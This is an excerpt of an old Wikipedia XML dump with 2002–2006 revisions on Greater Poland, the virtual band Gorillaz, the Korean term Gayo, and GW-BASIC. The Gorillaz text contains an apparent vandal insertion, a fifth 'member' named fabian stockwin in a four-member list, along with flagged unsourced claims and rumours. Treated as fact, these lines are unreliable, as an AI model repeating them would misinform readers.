'''Greater Poland''' (also ''Great Poland''; [[Polish language|Polish]]: ''Wielkopolska'', [[German language|German]]: ''Großpolen'', [[Latin]]: ''Polonia Maior'') is a historical region of [[Poland]]. It is located in western-central Poland, encompassing much of the area drained by the [[Warta river]] and its tributaries, including the [[Noteć|Noteć river]].

== Name of the region ==

Greater Poland (Wielkopolska) was the core of the early medieval Polish state, often called ''the cradle of Poland'', and at times was called simply ''Poland'' (Latin: ''Polonia''). The name of Greater Poland is mentioned first in the Latin form ''Polonia Maior'' in [[1257]], and in Polish form ''w Wielkej Polszcze'' in [[1449]]. The name of the region can be understood as ''Old Poland'', as opposed to ''New Poland'' ([[Lesser Poland]], Małopolska, Polonia Minor, a region in south-eastern Poland with [[Kraków]] as its capital) and in opposition to the whole [[Poland]] as a state and country. In its wide meaning, Greater Poland consists of all of the [[Greater Poland Voivodship]] and parts of the [[Lubusz Voivodship]], the [[Kuyavian-Pomeranian Voivodship]] and the [[Łódź Voivodship]].

==Geography==
Greater Poland consists of two major geographic regions: the lake district, full of post-glacial lakes and hills in the north, and the rather flat plain in the south.

=== Major cities and towns ===
(population 2003)

*[[Poznań]] (581,200)
*[[Kalisz]] (106,500)
*[[Konin, Poland]] (83,600)
*[[Piła]] (76,800)
*[[Ostrow Wielkopolski]] (74,500)
*[[Gniezno]] (71,600)
*[[Leszno]] (63,500)
*[[Srem, Poland|Srem]] (31,000) 
*[[Turek]] (30,700)
*[[Krotoszyn]] (29,100)
*[[Wrzesnia]] (28,900)
*[[Swarzedz]] (28,200)
*[[Jarocin]] (26,000)
*[[Koscian]] (24,500)
*[[Wągrowiec]] (24,500)
*[[Kolo]] (24,300)
*[[Lubon]] (23,800)
*[[Sroda Wielkopolska]] (22,200)
*[[Rawicz]] (21,700)
*[[Gostyn]] (20,800)
*[[Chodzież]] (20,500)

==References==
{{unreferenced}}

{{GreaterPoznanLists}}

[[Category:Regions of Poland]]
[[Category:Greater Poland| ]]

[[de:Großpolen (Landschaft)]]
[[pl:Wielkopolska]]
[[sv:Storpolen]]</text>
    </revision>
  </page>
  <page>
    <title>Gorillaz</title>
    <id>13084</id>
    <revision>
      <id>42156906</id>
      <timestamp>2006-03-04T04:53:33Z</timestamp>
      <contributor>
        <ip>58.164.220.191</ip>
      </contributor>
      <text xml:space="preserve">{{copyedit}}
{{Infobox_band |
  band_name         = Gorillaz |
  image             = [[Image:Gorillaz_group.jpg|250px]] |
  years_active      = 1998&amp;ndash;present |
  country           = [[United Kingdom]] |
  music_genre       = [[Rock (music)|Rock]], [[Britpop]], [[Hip hop music|Hip-Hop]], [[Trip Hop]], [[Dub]] |
  record_label      = [[EMI]] |
  current_members   = 2D&lt;br&gt;Noodle&lt;br&gt;Russel&lt;br&gt;Murdoc|
}}
'''Gorillaz''' is a [[virtual band]], comprised of four fictional animated band members: 2D, Murdoc, fabian stockwin, Noodle and Russel. They play a variety of music styles – to quote one of their lyrics, they have recorded everything from &quot;Rap, Hip-Hop, Punk, Ska, to Heavy Metal&quot;. The band was created by [[Damon Albarn]] from the Britpop band [[Blur]], and [[Jamie Hewlett]], the creator of the comic book ''[[Tank Girl]]''.

The band's first album, 2001's ''[[Gorillaz (album)|Gorillaz]]'', sold over 3 million copies and earned them an entry in the ''[[Guinness Book of Records]]'' as the Most Successful Virtual Band[http://www.guinnessworldrecords.com/content_pages/record.asp?recordid=57561]. Their second studio album, ''[[Demon Days]]'', released was in 2005 and included the hit singles &quot;[[Feel Good Inc.]]&quot;, &quot;[[Dirty Harry (song)|Dirty Harry]]&quot; and &quot;[[Dare (song)|Dare]]&quot;.

==History==
===Formation===
[[Image:Gorilla2wh.jpg|thumb|right|175px|Hewlett's artwork in their early career was more detailed than the artwork that would come during the band's fame.]]

The people behind Gorillaz, [[Damon Albarn]] and [[Jamie Hewlett]], formed in April 1998.{{fact}} They originally identified themselves under the name &quot;Gorilla,&quot; and first song they recorded was &quot;Ghost Train&quot; (1998), later released as a [[B-side]] on their single &quot;[[Rock the House]]&quot; and &quot;[[G-Sides]]&quot;.

===Phase One: Celebrity Take Down===
The band's first release was the [[Extended play|EP]] ''[[Tomorrow Comes Today]]'', released in 2000. It was very well received in the [[UK]] underground music scene and generated a lot of [[Word of mouth|word-of-mouth]] advertising, as well as a large shroud of mystery over who was behind Gorillaz and what could be expected from the band in the months to come. Promo outlets circulated a promotional booklet to promote the backstory behind the band.

The band's official website, [http://www.gorillaz.com/ www.gorillaz.com], was a virtual representation of Kong Studios, the band's fictional studio and home. Inside, you could browse through each member's bedroom, their recording environment and even the hallways and bathrooms. Each room also had bonus surprises and games to play: for example, the lobby had a remix machine, the cafeteria contained the [[message board]] on the wall and [http://www.murdocswinnebago.com/ Murdoc's Winnebago] (accessible only by using the [[Enhanced CD|enhanced section]] of the [[Gorillaz (album)|Gorillaz]] album) contained a voodoo doll of 2D. Each member also had his or her own computer which contained pictures, samples used in various Gorillaz songs, their favorite websites and their e-mail inboxes. Because of the nature of the site, an official fansite, [http://fans.gorillaz.com/ fans.gorillaz.com], was created to hold the standard band website information, including news, a discography and the band's touring schedules.

The band's first [[Single (music)|single]], &quot;[[Clint Eastwood (song)|Clint Eastwood]]&quot;, was released on [[March 5]] [[2001]]. It became a smash hit and put Gorillaz into the global spotlight. Due to this, the fictional band members' [[Hotmail]] accounts were abandoned (and later hacked) and the inboxes on the site were never updated. Later that same month, their first full-length album, the [[self-titled]] ''[[Gorillaz (album)|Gorillaz]]'' was released, producing four singles: &quot;Clint Eastwood&quot;, &quot;[[19-2000]]&quot;, &quot;[[Tomorrow Comes Today (single)|Tomorrow Comes Today]]&quot;, and &quot;[[Rock the House]]&quot;.

Each of the singles' videos contained humorous and often ridiculous storylines and imagery, though &quot;Clint Eastwood&quot; and &quot;19-2000&quot; were the only singles to break through the [[United States|American]] music scene. &quot;19-2000&quot; became popular after being featured in both an [[Icebreaker (disambiguation)|Icebreakers]] commercial, as well as in EA Sports' FIFA 2001.  Also the trumpets from the song &quot;Rock the House&quot; can be heard in various MTV shows. The only time the video for &quot;Tomorrow Comes Today&quot; was played in the States was when [[Toonami]] broadcast a &quot;Midnight Run&quot; special where they played animated music videos from Gorillaz, [[Daft Punk]], and [[Kenna]].

[[Image:Gorillaz_Phase_1.jpg|thumb|right|250px|The Gorillaz artwork by Hewlett during Phase One was very cartoonish.]]

Around this time, a half-hour [[Television|TV]] [[mockumentary]] entitled ''Charts Of Darkness'' was released. It follows [[Channel 4]] news reporter [[Krishnan Guru-Murthy]] attempting to track down Albarn and Hewlett after they were placed in an [[insane asylum]]. The special also interviews [[Rachel Stevens]] of [[S Club 7]] fame and a few of the band's voice talents, who had been given roles to play. 

The end of the year brought the song &quot;911&quot;, a collaboration between the Gorillaz and rap artists [[D12 (band)|D12]] (sans [[Eminem]]) and [[Terry Hall (singer)|Terry Hall]] about the [[September 11, 2001 attacks]]. Meanwhile ''[[G-Sides]]'', a compilation of the B-sides from the first three singles was released in [[Japan]] and quickly followed with international releases in early 2002. The new year also saw a complicated performance at the 2002 [[Brit Awards]], featuring the band in [[3D animation]], weaving in and out of each other on four large screens along with rap accompaniment by [[Phi Life Cypher]]. Finally, ''[[Laika Come Home]]'', a [[dub music|dub]] remix album, containing most of the tracks from ''Gorillaz'' reworked by [[Spacemonkeyz]], was released in June 2002. The single to follow, &quot;[[Lil' Dub Chefin']]&quot;, contained an original track by the Spacemonkeyz titled &quot;Spacemonkeyz Theme&quot;.

===Phase One Point Five===
In November 2002, a DVD titled ''Phase One: Celebrity Take Down'' was released. The DVD contains all five videos (including the abandoned video for &quot;5/4&quot;), the &quot;Charts Of Darkness&quot; documentary, the five Gorilla Bites (short vignettes), a tour of the website by the MEL 9000 server and much more. The DVD's menu was designed much like the band's website and depicts an abandoned Kong Studios.

Along with the November 2002 release of the DVD ''Phase One: Celebrity Take Down'', the band's website closed down almost completely. The fictional Kong Studios was no longer accessible. Instead, visitors could only enter a police port-o-cabin, where the message board and chats were still accessible. From there, a small robot called G.R.3.G. could be used to explore the abandoned Kong Studios in a 3-D [[Macromedia Shockwave|shockwave]] environment, though doing so would only grant access to a few games.

Rumors were circulating around this time that Gorillaz were busy preparing a film, but an [[EMI]] interview later revealed that plans for the film were abandoned. In an interview with Haruka Kuroda (the voice of Noodle), Kuroda stated that Jamie Hewlett rejected many scripts before giving up on the movie.

=== Phase Two: Demon Days===
[[Image:Gorillaz_Phase_2.jpg|thumb|right|250px|Hewlett's art for Gorillaz changed to a darker, more detailed style in Phase Two.]]

On [[December 8]] [[2004]], the website reopened with an exclusive video entitled &quot;Rock It&quot; and the announcement of a new album on the way, which would be produced by [[DJ Danger Mouse]] and contain a guest appearance by [[De La Soul]]. A talent contest entitled '''Search For A Star''' was also announced, allowing fans to send in a minute-long clip of video or audio or an image file. The prize included collaborating with the band by working with them to create the music and video for &quot;[[El Mañana]]&quot;, the fourth single for the new album,although it has been anncouned that it will be a double-A side with 'Kids With Guns' as well as getting their own  virtual room on the newly rebuilt Kong Studios website. 

A second [http://promo.virginrecords.net/artists/gorillaz/flipbook/uk/ promotional booklet] was issued, recapping the previously issued booklet, as well as detailing the failed movie production in Hollywood and the breakup and reforming of Gorillaz. A [[culture jamming]] project named [[Reject False Icons]] was formed criticizing modern pop figures.

The new album was first reported to be released in March 2005, but was later changed to May of the same year. The name of the album was originally reported to be ''We Are Happy Landfill'', but was later changed to ''[[Demon Days]]''. The first release off the album was a white label 12&quot; [[promotional single]] of the song &quot;[[Dirty Harry (song)|Dirty Harry]]&quot; featuring [[Bootie Brown]] and the [[Children's Choir San Fernandez]]. &quot;Dirty Harry&quot; was ineligible for the charts due to its status as a [[promotional single]]. The main Synth riff was written by a little known &quot;Hobbyist&quot; producer in line with the Gorillaz free music ethic called ginge, He goes uncredited on the song, mainly due to the cartoon imagery and close ties with the bands writers.

The first proper single from the album was &quot;[[Feel Good Inc.]]&quot;, released as an EP in Japan and as a CD single in [[Europe]] and [[Australia]]. The single entered the [[UK Singles Chart]] at #22, several weeks before the CD single was released. This happened because the single was released as a 7&quot; vinyl in April, and new charts regulations included sales at [[online music store]]s, where the song had been available since [[March 22]]. &quot;Feel Good Inc.&quot; managed to reach #2 in the UK Singles Chart the week it was released, being the band's highest ever positioned single up to that point in time. The single stayed in the top ten for eight consecutive weeks. In the [[United States]], it peaked at #14.   The song would also garner a [[Record of the Year]] nomination at the 2006 [[Grammy Awards]].

The Album, ''Demon Days'', was #1 in the Album Charts on its first week, but fell as low as #29 in just seven weeks. However, as the music video for the second single &quot;[[DARE (song)|DARE]]&quot; started getting played on [[MTV]] and other music channels, ''Demon Days'' rose up to the top 10 again. &quot;DARE&quot; was released on [[August 29]] [[2005]] in the UK, where it debuted at #1. A Japanese EP followed [[September 7]]. &quot;DARE&quot; eventually reached #87 in the [[United States]], also becoming a Top 10 hit on the Modern Rock listings.

The third single off ''Demon Days'' was &quot;[[Dirty Harry (song)|Dirty Harry]]&quot;, which had already been released as a promotional single earlier that year. It was released in the UK on [[November 21]], [[2005]]. On its first week, it charted at #6. The release of the single raised the album once again back up to the top 10.

On [[6 November]] [[2005]], Gorillaz-Unofficial [http://www.gorillaz-unofficial.com] announced Jamie Hewlett had revealed that the song &quot;[[El Mañana / Kids With Guns|El Mañana]]&quot; would be the fourth single from ''Demon Days'',but it has been confirmed that it will be a [[double A-side]] with &quot;[[El Mañana / Kids With Guns|Kids With Guns]]&quot; , to have a UK release on [[10 April]] [[2006]]. [http://fans.gorillaz.com/news.php link]

On [[December 18]], Demon Days went triple platinum in the UK and would end up racking up over 1,000,000 copies sold in the UK by the end of the year, making it the 5th best selling album of 2005 there. (about 1,400,000 in the US and 5,000,000 worldwide)

[[The Internet Movie Database|IMDb]] has reported that there will be a Gorillaz movie released in 2007. [http://www.imdb.com/title/tt0465655/] Some of the voice talents credited for the band members are false and this is the only source to suggest a movie is in production. It is on the whole unconfirmed and only a rumor.

In January 2006, Jamie Hewlett's artwork for Gorillaz was shortlisted for the [[Design Museum]]'s Designer of the Year award.

==Fictional band history==

'''The backstory of the animated band members of Gorillaz, as established by Albarn and Hewlett.'''

The story of Gorillaz begins in 1997. Stuart Tusspot a.k.a. &quot;Stu-Pot&quot; was a mentally deficient [[Keyboard instrument|keyboard]] enthusiast and star employee at Uncle Norm's Organ Emporium. [[Satanism|Satanist]] hoodlum Murdoc Niccals  decided to [[ramraid]] Uncle Norm's Organ Emporium to procure [[synthesizer]] equipment in order to establish a &quot;chart topping&quot; musical group. However, Murdoc ended up driving his [[Vauxhall Astra]] through the building and directly into Stu-Pot, permanently damaging (&quot;fracturing&quot;) Stu-Pot's left eye and putting him into a catatonic state. Murdoc was sentenced to &quot;30,000 hours of [[community service]], plus 10 hours every week of caring for the vegetabilised Stu-Pot&quot;. Not long after, Murdoc again injured Stu-Pot in an car accident in [[Nottingham]]'s [[Tesco]] parking lot when attempting a 360°, which permanently damaged Stu-Pot's right eye, but revived him from his coma. Murdoc then recruited the newly recovered (albeit still mentally defective) Stu-Pot as the [[keyboardist]] and [[vocalist]] for his group, re-dubbing him ''2D'' for the matching pair of dents in his head from the accidents.

Murdoc then found a [[drummer]] for the group in a [[Soho]] rap record store: [[African-American]] [[expatriate]] Russel Hobbs. Russel was a middle-class [[New York]] native and was deeply troubled as a youth. He was expelled from an expensive private school for suffering from [[demonic possession]]. The trauma of said possession resulted in a four year coma from which Russel was roused only by an elaborately executed [[exorcism]]. After his recovery, Russel began attending [[Brooklyn]] High School, where he quickly cultivated friendships with a group of rappers, DJs, and street musicians. He has said that &quot;[[hip-hop]] saved [his] soul.&quot; 

This was a short-lived respite, however, as all of Russel's newfound friends were suddenly gunned-down one night in a [[drive-by shooting]]. Russel, the sole survivor, became the unwilling receptacle for the spirits of all of his slain compatriots, most notable of whom was the rhyme dropping blue phantom, Del. With their latent possession of his body, Russel gained incredible musical prowess in [[percussion]], rap, and [[hip hop music|hip-hop]] as well as a disturbing side-effect: his eyes glowed an eerie white. With this new and violent turn of events, Russel's family shipped him off to [[England]] in hopes of helping him recover from his traumas quietly -- not realizing they'd put him directly into the path of Murdoc's aspirations to superstardom, and the excesses that came along with it.

At that point, all the fledgling group needed was a guitarist. Like so many British bands before them, the trio placed an advertisement in ''[[NME]]''. The very day the ad ran, a [[FedEx]] freight container from [[Japan]] was delivered to their doorstep and out jumped a mysterious amnesiac 10-year-old wielding a [[Gibson Les Paul]]. The tiny girl made an incomprehensible introduction in Japanese and tore into a &quot;riff to end all riffs&quot; which ended with an impressive [[karate]] kick to the air. She then spoke a single word in English to the stunned boys, which became her moniker: &quot;Noodle&quot;. In the later part of 1998, the Gorillaz played their first show at the Camden Brownhouse which ended prematurely due to a riot during their song &quot;Punk&quot;. EMI [[A&amp;R]] man Whiffy Smiffy discharged several rounds from shotgun to disperse the crowd enough to make his way to the stage and quickly signed them to the label. Ten months later they had recorded their self-titled debut LP.

In the winter of 1999 Murdoc acquired the property of Kong Studios, a sprawling haunted studio with a rather shady history, situated atop a hill in the midst of a run-down cemetery and landfill in Districtshire, [[Essex]]. The Gorillaz lived and recorded in Kong Studios up until their 2002 11-month tour of North America. At the end of July of that year, the Gorillaz took a six month break in [[L.A.]].  There they attempted to get a movie project off the ground. Meanwhile, that Halloween, Kong Studios had been shut down tight in its owner's absence by local law enforcement after an unknown man was seen running, naked and in hysterics, in the marshes near the studio. The police proceeded to keep the area secured while they investigated the strange [[paranormal]] events surrounding Kong.  The Gorillaz spent the interim period working on their movie, while living in a large rented home in the [[Hollywood Hills]].

Alas, the film was not meant to be, due in part to extensive over-partying, in-fighting, and disagreements with producers, directors, and a notable incident of Murdoc getting himself banned from the [[Playboy Mansion]] for stealing ashtrays. Understandably, at this point the Gorillaz went on a year and half hiatus, each of the members going their separate ways to find themselves. Murdoc headed to [[Mexico]] to booze it up in [[Tijuana]] brothels, getting himself arrested for passing bad cheques in the process. He enjoyed little company in his Mexican jail cell aside from his raven, Cortez, and two Mexican mobsters who would later help break him out. 2D went back home to work for his father at his carnival, re-establish his grip on reality, and come to terms with his newfound pop icon status with the ladies.

Russel disappeared into the States to literally and figuratively exorcise his personal demons, regrettably including the ghost of Del, leaving Russel a mentally and spiritually exhausted wandering shadow of the man he once was. After shambling around Los Angeles for some time, Russel was taken in by [[Ike Turner]] and helped to recover, and while living in Turner's basement Russel recorded his own solo album which was shelved due to strange supernatural activity inherent in the music itself, which Russel described as something of a &quot;cosmic disruption&quot;.

Noodle travelled to Japan, in a fruitful attempt to uncover the secrets of her own past which included not only the revelation that she was a test subject in a secret government super soldier project, but that she also speaks fluent English. Armed with her newfound knowledge and iron resolve, Noodle was the first to return to Kong Studios. There she went to task battling the [[zombie]] and monster-infested darkness of the building, set up the &quot;Search For A Star&quot; contest, and began the process of pulling the band back together to record their new album, ''Demon Days''.

The album was major success leaving Gorillaz to go on a few live shows. At the [[Grammys]] they even played side by side with [[Madonna (entertainer)|Madonna]]. But early in 2006, a few mysteries shrouded Kong Studios. The belongings in Noodle's room were being packed into boxes as if she were moving some where. The Windmill from the Feel Good Inc. single appeared tied to the building. Nobody knows exactly what is happening at this point but the future most likely holds the answers.

==Band members==
===Cartoon members===
*'''2D''' (about 28, born in [[1978]]) - [[vocals]], [[Keyboard instrument|keyboard]]
*'''Noodle''' (15, born in [[1991]]) - [[guitar]], [[backing vocals]]
*'''Russel Hobbs''' (about 31, born in [[1975]]) - [[drums]], [[percussion instrument|percussion]] 
*'''Murdoc Niccals''' (40, born [[June 6]], [[1966]]) - [[Bass guitar|bass]]

In phase one, '''[[Del tha Funkee Homosapien|Del]]''', the blue phantom in the &quot;[[Clint Eastwood (song)|Clint Eastwood]]&quot; &amp; &quot;[[Rock the House]]&quot; music videos and the Gorilla Bite &quot;[[Jump The Gut]]&quot;  was, one could say, another band member. In 2003, he was [[Exorcism|exorcised]]; it took Russel a year to recover. (In real life Albarn and Hewlett didn't ask the real Del to come back.)

2D's ex-girlfriend '''Paula''' was the band's original guitarist. She was ultimately dropped and replaced with Noodle after Paula was caught having an affair with Murdoc in the studio restroom. The state of Murdoc's nose today is a direct result of Russel breaking it in seven or eight different places. This would not be the last affair Murdoc would have with one of 2D's girlfriends; the second affair was with [[Rachel Stevens]] of [[S Club 7]].  (In reality, Paula was removed because Albarn &amp; Hewlett thought she was too similar to Murdoc.)

Note that the establishment of Murdoc's birthday and the celebration of it numerous times on the official fansite proves that the cartoon band members do age. The music video for &quot;[[DARE]]&quot; has also seen physical change in Noodle over 4 years. In 2000 when the &quot;[[Tomorrow Comes Today]]&quot; EP was released, the accompanying promotional booklet stated that their ages were 23, 34, 10 and 27. These are not their current ages.

According to the original promotional booklet, Noodle is 14 as of January 2006. However, there seems to be quite a bit of confusion about it, even for Noodle herself. She has repeatedly referred to herself as '13' during 2005. She stated she was '15' during a (live) [[Habbo Hotel]] interview, and in direct interviews (e.g. her 2005 NME interview). Noodle's multiple and varied assertions of her age could be attributed to errors by various people doing promotional work, such as magazine editors.

===Actual members===
There have been waves of speculation and controversy surrounding who is actually behind Gorillaz ever since &quot;Tomorrow Comes Today&quot; was first released. In the half-hour [[Television|TV]] [[mockumentary]] ''Charts Of Darkness'' it was explicitly stated that [[Damon Albarn]] and [[Jamie Hewlett]] were behind the project. However, many people work on various aspects of Gorillaz. To quote Albarn, &quot;There could be fifty [people] here, but there's two.&quot;

Many fans believe guest artists listed in the liner notes of the first album complete the band with this lineup: Albarn as 2D, Hewlett or [[Dan The Automator|Dan &quot;The Automator&quot; Nakamura]] as Murdoc, former [[Cibo Matto]] vocalist [[Miho Hatori]] as Noodle, and [[Del Tha Funkee Homosapien]] of [[Deltron 3030]] as Russel. 

The band's artwork and music videos are created by [[Zombie Flesh Eaters]] (Hewlett's own company) and [[Passion Pictures]] (animators including [[Pete Candeland]] and ''2000AD'' artist [[Rufus Dayglo]]).

For example, there are several people who make up the identity of &quot;Noodle&quot;, including: [[Miho Hatori]] and [[Talking Heads]]' [[Tina Weymouth]], who both provided the singing vocals for Noodle on the first album; [[Haruka Kuroda]], an actress who provides Noodle's speaking voice; [[Rosie Wilson]], who performs Noodle's lead vocal in &quot;[[DARE]]&quot;; or [[Simon Katz]], [[Simon Tong]], and Damon Albarn himself, who have all played guitar for Gorillaz at some point.

During the &quot;hidden&quot; credits to the DVD ''Phase One: Celebrity Take Down'', it states the names of the creators, the voice talents and those responsible for performing live. The list of integral performers in the group changed drastically for the second album, with the exception of Albarn himself. 

In short, the Gorillaz as real human beings don't exist. Rather, they represent all the people working on the project. For a more or less complete list of people involved in Gorillaz, see [http://www.gorillaz-unofficial.com/biography/realpeople.htm this site].

==Live performances==
===2001/2002 live shows===
For the tours affiliated with the debut album, the physical band played behind a specially designed screen which covers the stage area. Videos, [[animatics]] and image collages were projected onto the audience side of the screen, while choreographed lights behind the screen lit up silhouettes of the physical band, creating a meld of the physical and animated. For their first tour of the [[United States]], two screens were used; one was simply the animatics, while the second, lower screen displayed the band's silhouettes along with various quotes from interviews.

===2005 radio tour===
Following the release of their ''Demon Days'' album, Gorillaz began an American radio tour. In keeping with the style of the band the 'Demon Detour' featured a set of pre-recorded songs played on select radio stations, along with comments by the four band members.

===2005/2006 live shows===
From [[1 November]]&amp;ndash;[[5 November]] [[2005]], there was a Gorillaz &quot;festival&quot;, billed as ''Demon Days Live'' with collaborators from ''Demon Days'' ([[De La Soul]], [[Shaun Ryder]] and [[Roots Manuva]] appearing) and Damon Albarn performing songs from the album live on those five nights at the [[Manchester]] Opera House. The visual element of the evenings was provided by Gorillaz co-creator Jamie Hewlett and the event was filmed by an EMI film crew for a [[DVD]] release in late [[March]] [[2006]].

On [[3 November]] [[2005]], the third night of the festival, the band also appeared at the [[2005 MTV Europe Music Awards]] in [[Lisbon|Lisbon, Portugal]], where they performed live using technology similar to that of [[Pepper's ghost]]. This technology allows the cartoon band members to be projected onto a smoke-filled stage as three-dimensional [[holograms]]. This marked the first time that a band has used this kind of technology, and it is planned to be used in the Gorillaz 2007&amp;ndash;2008 tour. Although the technology limits the band's movements, it creates a feeling that the band members are actually present on the stage.

It has been announced that an American version of ''Demon Days Live'' will take place from [[2 April]]&amp;ndash;[[6 April]] [[2006]] at the famed [[Apollo Theater]] in [[Harlem]].

Gorillaz performed with [[Madonna (entertainer)|Madonna]] at the 2006 [[Grammy Awards]][http://rs6.net/tn.jsp?t=nx6hosbab.0.q4nhosbab.leb9ncbab.15094&amp;p=http%3A%2F%2Fwww.undercover.com.au%2Fnews%2F2006%2Ffeb06%2F20060203_madonna.html].
The performance was a [[mash-up]] of the songs Feel Good Inc. and [[Hung Up]]. They performed using the same [[Pepper's ghost]] trick used at the 2005 MTV Europe Awards, only slightly altered. Midway through, Madonna joined the Gorillaz onstage and did a remix of Hung Up and Feel Good Inc. before exiting to her song.

Gorillaz prefromed at the [[BRIT Awards]] in [[2002]] and again in [[2006]]. In 2002, they opened the Brits Awards in style. Gorillaz were silhoutted against giant screens and joined on stage by Phi Life Cypher for a unique perfomance of their hit, Clint Eastwood. In 2006, they performed, Dirty Harry, with Bootie Brown and the Children's Choir San Fernandez.

===Future world tour===
{{Future}}
Albarn and Hewlett originally had plans for a Gorillaz world tour in 2007&amp;ndash;2008 which would also use the [[Pepper's ghost]] technology like that used at the Grammys and the MTV EMAs. These shows were to be pre-recorded and Damon Albarn had stated that he would not even be there when the performances happened. As of late, rumor had it that the tour had been canceled. However, this has been proven false, much to the joy of fans across the globe.

==Gorilla Bites==
[[Image:Phase One Celebrity Take Down.jpg|thumb|right|170px|DVD cover of ''[[Phase One: Celebrity Take Down]]'']]
There is a series of animated shorts, called '''Gorilla Bites''', starring the Gorillaz. They are available at various places, some on the [[enhanced CD]], DVD versions of the records or as bonus content available upon buying the &quot;Feel Good Inc.&quot; single (as an album) on [[ITunes Music Store|iTunes]], others on the band's official homepage. Most of them were released on the DVD ''Phase One: Celebrity Take Down''.
*&quot;The Eel&quot;
*&quot;Hey! Our Toys Have Arrived&quot;
*&quot;Fancy Dress&quot;
*&quot;Free Tibet Campaign&quot;
*&quot;Game Of Death&quot;
*&quot;Gorillaz Talent Quest&quot;
*&quot;Gorillaz On Set&quot;
*&quot;[[Jump The Gut]]&quot;

==Discography==
:''For a more detailed discography, including chart positions, promotional interview CDs, mixtapes and Gorillaz songs on various compilations, see [[Gorillaz discography]].

===Albums===
*''[[Gorillaz (album)|Gorillaz]]'' (2001)
*''[[G-Sides]]'' (2002)
*''[[Laika Come Home]]'' (2002)
*''[[Demon Days]]'' (2005)
*''[[Demon Days Live]]'' (2006)

===Singles===
*&quot;[[Clint Eastwood (song)|Clint Eastwood]]&quot; (2001)
*&quot;[[19-2000]]&quot; (2001)
*&quot;[[Rock the House]]&quot; (2001)
*&quot;[[911 (song)|911]]&quot; (with [[D12 (band)|D12]] feat. [[Terry Hall (singer)|Terry Hall]]) (2001)
*&quot;[[Tomorrow Comes Today (single)|Tomorrow Comes Today]]&quot; (2002)
*&quot;[[Lil' Dub Chefin']]&quot; (2002)
*&quot;[[Feel Good Inc.]]&quot; (2005)
*&quot;[[DARE (song)|DARE]]&quot; (2005)
*&quot;[[Dirty Harry (song)|Dirty Harry]]&quot; (2005)
*&quot;[[El Mañana / Kids With Guns|El Mañana&quot;/&quot;Kids With Guns]]&quot; (2006)

===EPs===
*''[[Tomorrow Comes Today]]'' (2000)
Several of the singles listed above have also been released as EPs in certain regions.

===DVDs===
*''[[Phase One: Celebrity Take Down]]'' (2002)
*''[[Demon Days Live]]'' (2006)

==External links==
* [http://www.gorillaz.com Gorillaz.com]  (Official website)
* [http://fans.gorillaz.com Fans.Gorillaz.com] (Official fansite)
* [http://www.rejectfalseicons.com Reject False Icons] (Official website)
*{{musicbrainz artist|id=e21857d5-3256-4547-afb3-4b6ded592596|name=Gorillaz}}
* [http://www.gorillaz-unofficial.com Gorillaz-Unofficial] (Unofficial fansite, includes lyrics)
* [http://www.kidrobot.com/search.php?keyword=gorillaz Official Gorillaz Figures by Kidrobot]

{{Gorillaz}}

[[Category:British musical groups]]
[[Category:2000s music groups]]
[[Category:Animated musical groups]]
[[Category:Supergroups]]
[[Category:Dance Top 40 acts in United States|Gorillaz]]
[[Category:World record holders]] &lt;!-- Most Successful Virtual Band --&gt;
[[Category:Alternative hip hop musicians]]
[[Category:Active musical groups]]
[[Category:Hip hop groups]]

[[de:Gorillaz]]
[[es:Gorillaz]]
[[fr:Gorillaz]]
[[it:Gorillaz]]
[[he:גורילז]]
[[nl:Gorillaz]]
[[ja:ゴリラズ]]
[[no:Gorillaz]]
[[pl:Gorillaz]]
[[fi:Gorillaz]]
[[sv:Gorillaz]]</text>
    </revision>
  </page>
  <page>
    <title>Gayo Music</title>
    <id>13085</id>
    <revision>
      <id>15910726</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gayo]]
</text>
    </revision>
  </page>
  <page>
    <title>Gayo</title>
    <id>13086</id>
    <revision>
      <id>36817497</id>
      <timestamp>2006-01-26T18:03:21Z</timestamp>
      <contributor>
        <username>Purodha</username>
        <id>300219</id>
      </contributor>
      <minor />
      <comment>[[Gayo language]]</comment>
      <text xml:space="preserve">{{korean name hanja|
hangul=가요|
hanja=歌謠|
rr=Gayo|
mr=Kayo|
}}

'''Gayo''' is:
# the [[Gayo language]], [[ISO 639-2]] Code [[gay]].
# the [[Korean language|Korean]] term for [[pop music]] native to [[South Korea]].

==See also==
* [[Korean pop music]]
* [[South Korean music]]
* [[Contemporary culture of South Korea]]
* [[List of Korea-related topics]]

==External links==
*http://koreanrock.com

{{Music-genre-stub}}
{{disambig}}

[[Category:Korean styles of music]]</text>
    </revision>
  </page>
  <page>
    <title>GW-BASIC</title>
    <id>13087</id>
    <revision>
      <id>41472005</id>
      <timestamp>2006-02-27T16:04:32Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>cat ASCIIsort fix</comment>
      <text xml:space="preserve">[[Image:GW-BASIC 3.22.png|right|thumb|300px|GW-BASIC 3.22 displaying the [[Hello world program]]]]
'''GW-BASIC''' was a dialect of [[BASIC programming language|BASIC]] developed by [[Microsoft]] from [[BASICA]], originally for [[Compaq]].

It is compatible with Microsoft/[[IBM]] [[Microsoft BASICA|BASICA]], but was disk based and did not require the resources of the [[Read-only memory|ROM]] included on IBM's machines. It was bundled with  [[MS-DOS]] [[operating system]]s on [[IBM PC compatible]]s by Microsoft.  Like other early microcomputer versions of BASIC, GW-BASIC lacked many of the structures needed for [[structured programming]] such as local variables, and GW-BASIC programs executed relatively slowly, due to the fact that it was an [[interpreted programming language]].  It did have a large number of [[2D computer graphics|graphics]] commands.

Still, it had enough flexibility to allow one to write simple games, business programs and the like. Since it was available on any PC, it was also a cheap way for would-be [[programmer]]s to learn the rudiments of [[computer programming]]. It also provided a way to develop impressive science fair projects for aspiring students willing to deal with the frustrations of programming in such a spartan system.

GW-BASIC has a [[command line]]-based [[Integrated Development Environment| Integrated Development Environment (IDE)]] system based on the original introduced at [[Dartmouth College]]; all program lines must be numbered, all non-numbered lines are considered to be commands in direct mode (ie, to be executed immediately). The user interface is almost completely command line, except for the [[function key]] shortcuts at the bottom and an initial [[copyright]] notice at the top of the screen. Files are normally saved in a GW-BASIC binary compressed format with [[token]]s replacing commands; however, it has an option to save programs in [[ASCII]] text form.

The GW-BASIC IDE has commands to &lt;code&gt;RUN,LOAD,SAVE,LIST&lt;/code&gt; the current program, or quit to the operating &lt;code&gt;SYSTEM&lt;/code&gt;.  Although they may all be used as program statements such use is rare for all commands except &lt;code&gt;SYSTEM&lt;/code&gt;. 

